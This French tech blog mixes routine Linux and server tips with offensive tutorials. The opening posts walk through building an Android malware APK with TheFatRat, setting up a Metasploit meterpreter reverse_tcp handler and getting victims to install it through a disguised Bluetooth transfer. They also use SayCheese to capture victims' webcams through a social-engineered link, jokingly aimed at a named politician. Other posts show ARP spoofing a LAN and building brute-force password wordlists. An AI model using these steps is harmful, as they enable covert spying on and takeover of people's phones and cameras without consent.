TheFatRat : Générer un malware pour accéder à un appareil Android depuis internet

6 Mai 2020

TheFatRat est un outil qui permet de générer des malwares exploitant des failles connues pour les plateformes Windows, Mac, Android et Linux. C’est merveilleux.

Nous allons voir ici comment générer un malware Android en utilisant l’outil TheFatRat.

Le malware doit ensuite être installé sur l’appareil et il faut lui accorder les autorisations nécessaires.

TheFatRat : Installation

TheFatRat utilise Metasploit et MSFvenom c’est pourquoi il est recommandé de l’installer sur Kali.

Si vous êtes connectés en ssh sur votre Kali, alors pour cette installation, il sera nécessaire de faire un

ssh -X user@Kali

La procédure est la même pour tout le monde :

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh

Ceux qui sont connecté en ssh devront faire un

sudo XAUTHORITY=/home/user/.Xauthority ./setup.sh

Génération du malware

Lorsque TFR est lancé, il nous faudra choisir l’option 1, puis l’option 3.

Il vous sera alors demandé votre IP.

Il est recommandé d’utiliser votre IP publique si vous voulez interagir avec la victime au travers d’internet (pensez également à rediriger les port sur votre modem). Si vous voulez tester sur votre LAN, alors utilisez votre IP locale.

Préciser aussi le port, j’ai choisi ici le port traditionnel du reverse_tcp de meterpreter

Enfin il faut préciser le nom du fichier à générer puis on sélectionne l’option 3.

Notre malware Android est prêt.

Préparation du serveur d’écoute

TDR nous propose de paramétrer automatiquement cette étape, après la génération du malware. Sinon vous pouvez procéder comme cela.

Démarrer la console metasploit

msfconsole

Sélectionner ensuite les options suivantes en pensant que même si vous passez par internet, il faut préciser ici l’adresse IP locale de la machine. :

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.2
exploit

Notre serveur d’écoute est prêt.

Installation du malware

Beaucoup ont l’imagination débordante pour parvenir à faire installer une application tierces sur un appareil Android. J’ai pour ma part choisi de transférer l’apk par bluetooth en prenant soin de renommer l’appareil émetteur, ainsi que le nom du fichier.

Une fois téléchargé, il faut alors l’installer et autoriser tous les accès à l’application.

J’ai dû ignorer les avertissements de sécurités…

Enfin il ne reste plus qu’à ouvrir l’application, et constater que le serveur d’écoute a abouti sur une console meterpreter.

Android et meterpreter

En plus des commandes « classiques » de meterpreter (un shell Unix basique, de quoi jouer avec les caméras et le micro…) voici les commandes spécifiques à Android :

Je n’ai pas réussi à faire fonctionner la géolocalisation et l’intéraction avec les caméras, mais le reste fonctionne à merveille.


SayCheese ! Capturer la webcam des victimes par URL

6 Mai 2020

Saycheese est un outil écrit en PHP et bash, qui permet de capturer des images provenant des webcams des victimes lorsqu’elles se rendent sur une URL. L’outil utilise les services de Serveo ou Ngrok ce qui permet de s’affranchir de toute redirection de port sur votre modem.

Installation et lancement

git clone https://github.com/thelinuxchoice/saycheese
cd saycheese
bash saycheese.sh

Vous aurez compris qu’il faut d’abord transmettre le Direct link à vos victimes avant de pouvoir recevoir des images. Elles atterrirons alors sur une page blanche qui,hélas, demande systématiquement d’autoriser l’accès à la caméra.

Il convient donc d’utiliser un peu d’ingénierie sociale pour que vos victimes autorisent cela. Le plus simple étant, à mon sens, de modifier la page blanche pour qu’elle ressemble à chatroulette afin d’avoir une belle collection de photos de Benjamin Griveaux.

Dès que l’onglet est fermé par la victime, la diffusion cesse.


Nmap : Utilisations courantes

5 Mai 2020

Nmap est un outil très pratique, souvent utilisé pour rapidement scanner les ports ouverts d’un hôte. C’est l’utilisation basique, sans option qui donne un résultat instantanément. Mais il est surtout capable de faire biiieeeen plus.

Scan rapide

C’est le scan utilisé par défaut par nmap, (quand on l’utilise sans aucune option), il a l’avantage d’être très rapide :

nmap -sS

Scanner les hôtes actifs

J’utilisais avant fping qui permettait de faire cela, mais ça sortie était trop verbeuse. Au final je suis davantage satisfait avec celle de nmap :

nmap -sn 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-05 13:22 CEST
Nmap scan report for _gateway (192.168.0.1)
Host is up (0.014s latency).
Nmap scan report for 192.168.1.208
Host is up (0.085s latency).
Nmap scan report for 192.168.1.216
Host is up (0.039s latency).
Nmap scan report for UX31E.local (192.168.1.220)
Host is up (0.0059s latency).
Nmap scan report for Redmi7A.local (192.168.1.234)
Host is up (0.045s latency).
Nmap scan report for PC.local (192.168.1.245)
Host is up (0.00010s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.04 seconds

Avec /24 qui correspond au masque réseau.

Scan des versions de services

nmap -sV

Scan à l’aide de scripts

Il est possible d’utiliser des scripts fournis avec nmap afin de scanner plus dans le détail :

nmap -sC

Scan de détection de l’OS

nmap -O

Scan de tout de qu’on peut trouver

Si on ne se soucie pas de la discrétion, une option compile tout celles ci-dessus. L’inconvénient est qu’elle met longtemps à s’effectuer.

nmap -A


Mettre en place le HTTPS avec LetsEncrypt et ISPconfig

12 Juil 2017

ISPconfig gère à présent les certificats SSL automatiquement en utilisant le certbot de letsencrypt.
Pour l’utiliser automatiquement, il suffis de faire :

cd /opt/certbot
wget https://dl.eff.org/certbot-auto
chmod a+x certbot-auto
./certbot-auto

Une fois ce script exécuté, il va vous demander une adresse mail pour envoyer les notifications de renouvellement de certificat (ça se fait automatiquement rassurez-vous).
Une fois le contrat d’utilisation accepté, il va vous demander pour quels sites vous voulez activer le https.
À cette étape, il faut choisir ‘Cancel’ en tapant ‘c’ puis entrer.

Il suffis alors de redémarrer apache

service apache2 restart

Votre https sera alors activable dans la page de gestion de chacun de vos sites simplement en cochant des cases :


Installer rbenv sur Debian

30 Juin 2017

Au début, on disait que sur Debian, il valait mieux utiliser rvm plutôt que rbenv, pour des raisons de compatibilité.
Il se trouve que je n’ai pas réussi à refaire fonctionner SheebyRSS avec RVM.

Finalement, il se trouve qu’il y a un moyen ultra simple pour installer rbenv : apt

apt install rbenv ruby-build ruby-dev

Merci, bonsoir.


Forcer les permission lors de la création de nouveau fichier

5 Déc 2016

Un utilisateur A, un utilisateur B, qui appartiennent tous les deux au groupe G.
A veut pouvoir modifier les fichiers créés par B et inversement dans le répertoire R

chgrp G R
chmod g+s R

Pour effectuer ces opérations dans les sous-répertoires :

find R -type d -exec chmod g+s {} +


Git status error : Index file corrupt

30 Nov 2016

Je viens de rencontrer un problème étrange : Lors d’un git status, ça me vomissait l’erreur

Error: bad index – Fatal: index file corrupt

Ce n’était pas comme annoncé une soucis de permission sur le fichier après vérification.
Les commandes suivantes n’ont pas réglé mon soucis :

rm -f .git/index
git reset

Au final tout refonctionne en faisant un

git read-tree


Comment installer heroku-toolbelt sur Ubuntu 16.04

24 Nov 2016

Si comme moi, lorsque vous tentez l’installation officielle, vous obtenez le message suivant :
(suite…)


PHP ne donne pas la bonne heure !

14 Nov 2016

Si la commande date vous donne la bonne heure, mais pas php, alors il vous faudra configurer votre php.ini et définir une timezone.

nano /etc/php/7.0/apache2/php.ini

Puis trouver la ligne :

;date.timezone = ""

et remplacez la par

date.timezone = "Europe/Paris"

Il ne reste plus qu’à relancer apache éwala.

service apache2 restart


Installation et configuration de Zimbra 8.7 sur Ubuntu 16.04

7 Nov 2016

Je parts du principe que vous venez d’installer Ubuntu serveur 16.04.

Commençons par être sûr que le système est bien à jour

sudo apt update ; sudo apt dist-upgrade -y 

Téléchargement de Zimbra, décompression et lancement de l’installation.

sudo -s
cd /opt
wget https://files.zimbra.com/downloads/8.7.0_GA/zcs-8.7.0_GA_1659.UBUNTU16_64.20160628202554.tgz
tar zxvf zcs-8.7.0_GA_1659.UBUNTU16_64.20160628202554.tgz
cd zcs-8.7.0_GA_1659.UBUNTU16_64.20160628202554
./install.sh

L’installateur va alors vous poser un certain nombre de question.
Voici un exemple de réponse ci-dessous, où j’ai dû désactiver le cache DNS afin que l’installation se déroule sans soucis.

Install zimbra-ldap [Y] Y
Install zimbra-logger [Y] Y
Install zimbra-mta [Y] Y
Install zimbra-dnscache [Y] N
Install zimbra-snmp [Y] Y
Install zimbra-store [Y] Y
Install zimbra-apache [Y] Y
Install zimbra-spell [Y] Y
Install zimbra-memcached [Y] Y
Install zimbra-proxy [Y] Y

Type Y if asked The system will be modified.  Continue?

Il est alors possible que vous rencontriez l’erreur suivante :

DNS ERROR resolving MX for mail.sheebypanda.com
It is suggested that the domain name have an MX record configured in DNS
Change domain name? [Yes] Yes
Create domain: [mail.sheebypanda.com] sheebypanda.com

Si je n’avais pas effectué le changement, le nom de domaine aurait été mail.sheebypanda.com et les adresse mails auraient été toto@mail.sheebypanda.com.

Taper 6 et appuyer sur entrée pour changer le mot de passe admin.

1) Common Configuration:                                                  
   2) zimbra-ldap:                             Enabled                       
   3) zimbra-logger:                           Enabled                       
   4) zimbra-mta:                              Enabled                       
   5) zimbra-snmp:                             Enabled                       
   6) zimbra-store:                            Enabled                       
        +Create Admin User:                    yes                           
        +Admin user to create:                 admin@sheebypanda.com
******* +Admin Password                        UNSET                         
        +Anti-virus quarantine user:           virus-quarantine.dgnsq8ewc@sheebypanda.com
......
......
Address unconfigured (**) items  (? - help) 6
Store configuration

   1) Status:                                  Enabled                       
   2) Create Admin User:                       yes                           
   3) Admin user to create:                    admin@sheebypanda.com          
** 4) Admin Password                           UNSET                         
   5) Anti-virus quarantine user:              virus-quarantine.dgnsq8ewc@sheebypanda.com
......
......
Select, or 'r' for previous menu [r] 4

Password for admin@sheebypanda.com (min 6 characters): [s8eNUeOms] totolarticho

Après avoir inséré le mot de passe, appliquer la nouvelle configuration puis attendre que l’installation se termine.
Rendez-vous alors sur https://monserveur.exemple pour profiter de Zimbra.


Ajouter un service au démarrage d’Ubuntu

27 Oct 2016

sudo update-rc.d zimbra defaults

Cela ajoutera le service Zimbra au démarrage automatique du système.


PHP short_open_tag = On ne fonctionne pas

5 Oct 2016

Je viens de passer quelques heures à savoir pourquoi les modifications effectuées sur /etc/php5/apache2/php.ini n’étaient pas prises en compte.

C’est finalement parce que la ligne short_open_tag apparaît 2 fois dans le fichier.

Il suffis donc de commenter une mention, et l’autre sera enfin prise en compte…


Bannir une adresse IP

28 Sep 2016

 iptables -I INPUT -s 194.8.197.22 -j DROP


Faire un PC public avec Ubuntu

20 Juil 2016

Créer ou éditer le fichier suivant :

sudo nano /etc/lightdm/lightdm.conf.d/lightdm.conf

Puis ajouter dans ce fichier

[SeatDefaults]
allow-guest=true
autologin-guest=true
autologin-user-timeout=0
autologin-session=lightdm-autologin
user-session=ubuntu


SteamUpdateUI: An X Error occurred X Error of failed request: BadValue (integer parameter out of range for operation)

15 Juil 2016

cd $HOME/.steam/ubuntu12_32/steam-runtime/i386/usr/lib/i386-linux-gnu
mv libstdc++.so.6 libstdc++.so.6.bak
cd $HOME/.steam/ubuntu12_32/steam-runtime/amd64/usr/lib/x86_64-linux-gnu
mv libstdc++.so.6 libstdc++.so.6.bak


Inverser les touches et @/# sur un clavier Apple filaire.

13 Juin 2016

Sur ubuntu le clavier filaire extra plat d’apple fonctionne très bien, et toutes les touches sont bien reconnues.
Pour cela il faut sélectionner le modèle ‘Macintosh’ dans la configuration du clavier.

Enfin, un dernier petit réglage est nécessaire afin d’inverser le les touches @# et <> qui sont inversées par défaut.

xmodmap -e 'keycode 94=at numbersign periodcentered Ydiaeresis' -e 'keycode 49=less greater VoidSymbol VoidSymbol'


Réduire les applications lors d’un clic sur l’icone de lanceur

6 Juin 2016

Sur le bureau Unity, lorsque l’on veut que l’application se réduise lors d’un clic sur son icone dans le lanceur, il suffis d’exécuter cette commande :

gsettings set org.compiz.unityshell:/org/compiz/profiles/unity/plugins/unityshell/ launcher-minimize-window true


Can’t set locale

4 Jan 2016

Lors de la livraison d’une Dedibox sous Debian 8, on a droit au message d’erreur suivant, dès que l’on joue avec apt.

Can't set locale; make sure $LC_* and $LANG are correct!

Pour la corriger, utiliser simplement la commande

dpkg-reconfigure locales

et cocher la case fr_FR.UTF-8


Atom comme éditeur de texte par défault sur Ubuntu 15.10

4 Nov 2015

Depuis la récente mise à jour vers la 15.10, et après avoir installé atom, il ne m’était plus possible de le sélectionner en faisant un clic droit sur un fichier texte, puis ouvrir avec Atom. Atom n’est pas non plus listé dans la liste des applications, lorsque l’on fait clic droit, propriété, ouvrir avec.

Voici l’astuce qui m’a permis d’ajouter atom comme éditeur de texte par défaut :

Créer ou éditer le fichier suivant

nano ~/.local/share/applications/defaults.list

Ajouter le code ci-dessous
[Default Applications]
text/plain=atom.desktop

Enregistrer, quitter, et reconnectez votre session pour apprécier les changements.


Générer un dictionnaire de mot de passe avec Crunch

29 Juil 2015

Quand on lance des scans de sécurité, on a souvent besoin de dictionnaire de mot de passes. C’est un élément indispensable pour réaliser des attaque de type Brute-force.
Un outil simple et efficace à utiliser est Crunch.

Installation

Télécharger

wget http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.6.tgz

Extraire

tar xvf crunch-3.6.tgz

Aller dans le dossier extrait :

cd crunch3.6/

Compiler et installer

make ; make install

Utilisation

Voici la syntaxe générale :

crunch [taille mini] [taille maxi] [charset / extra options]

Par exemple:

crunch 1 5 abc123 –o wordlist.txt


Comment sortir de telnet

29 Juin 2015

Telnet est un outil bien pratique qui sert à tester la connexion sur un port. (suite…)


Lire les logs compressés en Gz

13 Avr 2015

Pour consulter les logs récents, j’avais l’habitude d’utiliser cat ou more. Mais quand il fallait lire les logs datant de plus d’un mois, j’avais l’habitude de les décompresser à l’aide de la commande tar. Je trouvais ça super chiant, jusqu’à ce que je tombe sur la commande zless.
Exemple :

zless /var/log/auth.log.2.gz


Modifier manuellement l’heure sur son serveur

2 Avr 2015

Quand le magnifique outil ntpdate n’est pas disponible, il convient de modifier l’heure à l’ancienne. (suite…)


Freeze de ssh

26 Mar 2015

Un symptôme, une ligne de commande.

echo "ServerAliveInterval 15" >> ~/.ssh/config

Si la vie pouvait être aussi simple…


Les messages de confiance sont étiquetés comme SPAM

23 Mar 2015

Sur la messagerie Zimbra, il peut arriver que depuis l’année 2015, certains messages que l’on avait l’habitude de recevoir correctement se retrouvent, sans opération particulière, étiquetés comme spam.

L’explication se trouve ici.
En gros, un serveur de vérification de spam n’est plus en service.

Bon, c’est simple, il faut juste arrêter de questionner les morts.

Le fichier de configuration qui nous interresse est 50_scores.cf, donc :

locate 50_scores.cf
/opt/zimbra/conf/spamassassin/50_scores.cf

Cool, c’est parti :

nano /opt/zimbra/conf/spamassassin/50_scores.cf

puis ctrl + W pour rechercher un mot dans le fichier, et saisissez la chaine ahbl, puis entrer.
Commenter simplement la ligne en mettant un # devant comme ci-dessous :

# score DNS_FROM_AHBL_RHSBL 0 2.438 0 2.699 # n=0 n=2

Enregistrer, quitter, et redémarrer le service.
ctrl + O, ctrl + X et

service zimbra restart


Plantage du serveur mail

13 Mar 2015

Depuis une récente mise à jour de Debian, je ne recevais plus d’email.
La commande mailq affiche la liste des messages dans la file d’attente. J’ai eu droit à un jolie

temporary failure. Command output: /usr/bin/maildrop: Unable to create a dot-lock at /var/vmail/sheebypanda.com/root/19879.0.sheebyb0x.sheebypanda.com

Voici comment vider cette liste et envoyer les messages dans la file d’attente :

Restaurer les bons droits utilisateur

Je ne sais pas encore pourquoi, mais les droits sautent souvent dans ce répertoire. Bizarre.

chown vmail:vmail /var/vmail/

Redémarrer les services mails

Ça ne fait jamais de mail

service amavis restart
service clamav-daemon restart
service postfix restart

Forcer l’envoie

postqueue -f

Après avoir fait cela, vous devriez voir votre file mailq se décrémenter.
Mais en fait il restait toujours des messages dans la file d’attente.
Ces messages étaient destiné à une adresse qui n’existe pas sur mon domaine. Surement une histoire de spam.

Pour supprimer les messages qui restent dans la file, on peut faire :

postsuper -d ALL


Analyse de la bande passante en sniffant le réseau

12 Mar 2015

Dans une LAN, quand la connexion internet sux, il faut savoir qui pompe le plus.
Nous allons voir ici comment sniffer le réseau.
Il est impératif de demander l’autorisation de votre supérieur (ou chef de guilde) pour faire ce qui suit, sinon vous serez dans l’illégalité, même si vous pensiez bien agir.

Installation des outils

On va avoir besoin de dsniff pour bouriner le cache ARP des équipements réseau, et de iftop. Ça tombe bien, ils sont dans les dépots debian <3 !

sudo apt-get install dsniff iftop

Activer le routage

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Si vous oubliez cette étape, plus personne ne va pouvoir sortir du réseau. Et votre analyse ne servira donc à rien.

Flooder le LAN avec des requettes ARP

sudo arpspoof -t 192.168.1.255 192.168.1.1

Avec cette commande vous allez flooder TOUS le réseau en 192.168.1.* en disant que la sortie par défaut est votre machine.

Analyser le réseau

sudo iftop -Bn

le B pour avoir le résultat en octet, et le n pour respecter la confidentialité 🙂
Vous n’avez plus qu’à constater quelle IP possède la plus grosse barre de débit, puis lui couper son RJ45.


Apache se lance, puis plante

11 Mar 2015

Lorsque quelque chose ne fonctionne plus, il faut savoir pourquoi.
Lorsque apache se relance proprement, puis qu’il arrête de fonctionner, il faut s’attendre à un message dans les log.

tail -f /var/log/apache2/error.log

Puis dans un second terminal :

service apache2 restart

L’erreur suivante est apparue :

server reached MaxClients setting, consider raising the MaxClients setting

Bon.
Mais qu’est ce que je dois modifier quoi ?

 grep -R "MaxClients" /etc

Ce paramètre se trouve dans le fichier /etc/apache2/apache2.conf
Il suffis donc d’éditer ce fichier, de remplacer la ligne

 MaxClients          150

par

 MaxClients          256

On redémarre apache, et c’est bon.


Supprimer des fichiers portant une extension précise

4 Fév 2015

Plus c’est con, plus c’est bon :
(suite…)


Faire taire la coche système (biip!) sous Linux

31 Déc 2014

STFU !

sudo modprobe -r pcspkr
blacklist pcspkr